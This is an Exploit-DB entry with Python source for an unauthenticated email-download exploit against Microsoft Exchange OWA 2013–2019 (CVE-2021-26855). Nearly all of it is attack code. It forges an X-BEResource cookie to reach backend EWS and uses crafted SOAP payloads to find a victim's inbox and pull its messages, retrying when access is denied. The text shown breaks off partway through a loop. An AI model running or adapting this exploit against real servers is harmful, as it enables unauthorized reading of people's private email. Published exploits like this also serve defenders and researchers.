Exploit-DB #49879
Description: Microsoft Exchange 2019 - Unauthenticated Email Download
Type: webapps
Platform: windows
Date: 2021-05-18
Author: Gonzalo Villegas

Exploit:
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}  # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
                    <m:GetFolder>
                        <m:FolderShape>
                            <t:BaseShape>AllProperties</t:BaseShape>
                        </m:FolderShape>
                        <m:FolderIds>
                            <t:DistinguishedFolderId Id="inbox">
                                <t:Mailbox>
                                    <t:EmailAddress>{}</t:EmailAddress>
                                </t:Mailbox>
                            </t:DistinguishedFolderId>
                        </m:FolderIds>
                    </m:GetFolder>
                </soap:Body>
            </soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
            <m:FindItem Traversal="Shallow">
               <m:ItemShape>
            <BaseShape>AllProperties</BaseShape></m:ItemShape>
               <SortOrder/>
             <m:ParentFolderIds>
                    <t:FolderId Id="{}" ChangeKey="{}"/>
                  </m:ParentFolderIds>
               <QueryString/>
            </m:FindItem>
            </soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
            <GetItem   xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ItemIds>
            <t:ItemId Id="{}" ChangeKey="{}"/>
            </ItemIds>
            </GetItem>
                </soap:Body>
            </soap:Envelope>
"""


def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
        return rs.headers["X-FEServer"]
    else:
        print("[-] Can't get FQDN ")
        exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~[PII_REDACTED]".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
        id_folder = p[0].attrib.get("Id")
        change_key_folder = p[0].attrib.get("ChangeKey")
        data = payload_get_items_id_folder.format(id_folder, change_key_folder)
        random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
        rs = requests.post(url + uri, data=data, headers=headers, verify=False)
        if "ErrorAccessDenied" in rs.text:
            print("[*] Denied ;(.. retrying")
            t_uri = uri.split("/")[-1]
            for ru in random_uris:
                print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                if "NoError" in rs.text:
                    print("[+] data found, dowloading email")
                    break
        print("[+]Getting mails...")
        dom_messages = ET.fromstring(rs.text)
        messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
        for m in messages:
            id_message = m[0].attrib.get("Id")
            change_key_message = m[0].attrib.get("ChangeKey")
            data = payload_get_mail.format(id_message, change_key_message)
            random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
            rs = requests.post(url + uri, data=data, headers=headers, verify=False)
            if "ErrorAccessDenied" in rs.text:
                print("[*] Denied ;(.. retrying")
                t_uri = uri.split("/")[-1]
                for ru